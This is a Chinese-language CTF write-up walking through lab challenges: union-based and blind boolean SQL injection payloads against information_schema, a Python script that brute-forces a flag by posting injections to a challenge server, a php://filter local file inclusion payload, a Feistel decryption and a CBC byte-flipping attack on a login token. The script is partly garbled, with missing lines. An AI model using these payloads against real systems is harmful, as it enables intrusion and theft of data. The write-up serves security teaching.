从0开始之SQLI之0

id

先试了试 'or 1=1 - 报了一个错误 于是改成 'or 1=1 -- a 出现了预期的结果

name

```
1 user1
 2 user2
 3 user3
 4 user4
 5 maybe flag is in another space
接下来 'or 1=1 order by X -- a (X为数字) 查字段数 结果为2
然后我就直接 ' union select 1,database() -- a 查数据库名 结果为 hctfsqli1
接下来 ' union select 1,group_concat(table_name) from information_schema.tables where
table_schema=database() -- a 查表名 结果为 hhhhctf,users
根据最开始出现的结果flag应该在hhhhctf里于是 ' union select 1,group_concat(column_name) from
information_schema.columns where table_name='hhhhctf' -- a 查字段名 结果为flag
最后 ' union select 1, flag from hhhhctf -- a 得到flag:hctf{f1rst_sql1_is_34sy}
 id
                name
 1 user1
 1 hctf{f1rst_sq11_is_34sy}
```

从0开始之SQLI之1

一开始各种尝试 发现 or 1=1 # 时出现想要的结果

```
it must return username
id name
1 user
2 user
3 user
```

然后也用 order by 查出了是两个字段 但是之后 union select 1,database() # 的时候 没出现预期结果 倒是还有 it must return username 这时感觉 后台应该是限制了输出结果 于是改了改 使用and配合length() ascii() substr()来注入

and length(database())=X #(X为数字) 判断数据库名长度 结果为9

and ascii(substr(databse(),1,1))=XX #(XX为两位数) Python脚本依次爆破最开始做的时候选择了尝试上一题的数据库名很省事的出来了数据库名hctfsqli2

接下来比较懒就没判断表名长度 直接爆破表名 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=XX (XX为两位数)

当时也是先猜的 正好是hhhhctf

4 user

之后 and length(substr((select column_name from information_schema.columns where table_name='hhhhctf' limit 0,1),1))=1 爆破字段名 直接猜是flag 试了试是对的

最后 脚本爆破得flag:hctf{com3_0n_h4v3_a_try233}

从0开始之SQLI之2

其实套路和上一题一模一样 就是那个code比较烦 贴上最后爆破flag的Python脚本

```
1. import requests, hashlib
      m = hashlib.md5()
      m.update(str(i).encode('utf-8'))
     n = m.hexdigest()
7. def code(k):
      for i in range(100000000):
           a = md5233(i)
13. for k in range(1,30):
      for i in range(48, 126):
          url = "http://45.32.25.65/nweb/sqli3/"
           res = requests.get(url)
           t = res.text
         h = res.cookies
         data = {"id":"1 and ascii(substr((select flag from hhhhhhctf limit \
                    0,1)"+str(k)+",1))="+str(i)+"#","code":code(t[161:165])}
       headers = {"Cookie":str(h)[27:63]}
rs = requests.post(url, data=data, headers=headers)
           if 'it must return username' not in rs.text:
                print(chr(i))
                a.append(chr(i))
27. b = ''.join(a)
28. print(b)
```

要注意的是设置好cookie要不然code会刷新 提交上去的是上一次的数据库名:呃。。。没记 估计是hctfsqli3表名:hhhhhhctf 字段名:flag flag:hctf{w0w_captch4_iz_Diao233}

从0开始LFI之2

感觉之前的解法应该都没用了 但是 还是试了一下 当然一点用都没有后来发现带.jpg 返回的结果和不带是不一样 不带回返回 File not found 猜测后台应该是作出了一定的过滤 之后百度了一下 得知可以构建这样的payload img=php://filter/read=convert.base64-encode/resource=1.jpg/resource=../flag.php 查看网页源代码 得到flag:hctf{1ntere5ting_PHP_Regu1ar_express1ons}

```
1 <!-- hctf {Intere5ting_PHP_Regular_expressions} -->
```

explorer的奇怪番外3

Feistel结构 解密就是加密的逆向过程 改了改给我们的代码

```
1. from hashlib import sha256
2. def xor(a,b):
       return ''.join([chr(ord(i)^ord(j)) for i,j in zip(a,b)])
4. def HASH(data):
        return sha256(data).digest()[:8]
6. def key_schedule(key):
       subKeys = []
       subKey = key
        for i in xrange(16):
           subKey = HASH(subKey)
           subKeys.append(subKey)
       return subKeys
13. key = key_schedule('explorer')
14. miwen = "1fde6a7b2ff15d0abad691215ca5d470"
15. hex_miwen = miwen.decode('hex')
16. RE = hex_miwen[:8]
17. LE = hex_miwen[8:]
18. for i in xrange(16):
       tmp = LE
       yihuo = xor(HASH(tmp),key[(15-i)])
      LE = xor(yihuo,RE)
       RE = tmp
23. print LE+RE
```

得出结果rEvers3_tHe_kEy! 加上hctf{}就是flag了

explorer的奇怪番外5

CBC字节翻转攻击 先注册了一个用户名是admim 密码是alvndasjncakslbdvlaksdn 得到

token:2a303f251bf0c9ebc0246702a2335187ce223f8064dae0585ce53da6787473e299b426667292242b3850ca19e5054231 根据给我们的代码 token的前32位是iv的16进制 32到64位对应的明文是admim:alvndasjnc 后64位对应的明文akslbdvlaksdn及填充部分

我们要把是第一部分admim改成admin 而iv是参与第一部分的加密的 所以改变iv就能改变第一部分的admim 接下来就是进行改造了

改造完之后 2a303f2518f0c9ebc0246702a2335187ce223f8064dae0585ce53da6787473e299b426667292242b3850ca19e5054231 提交得到flag

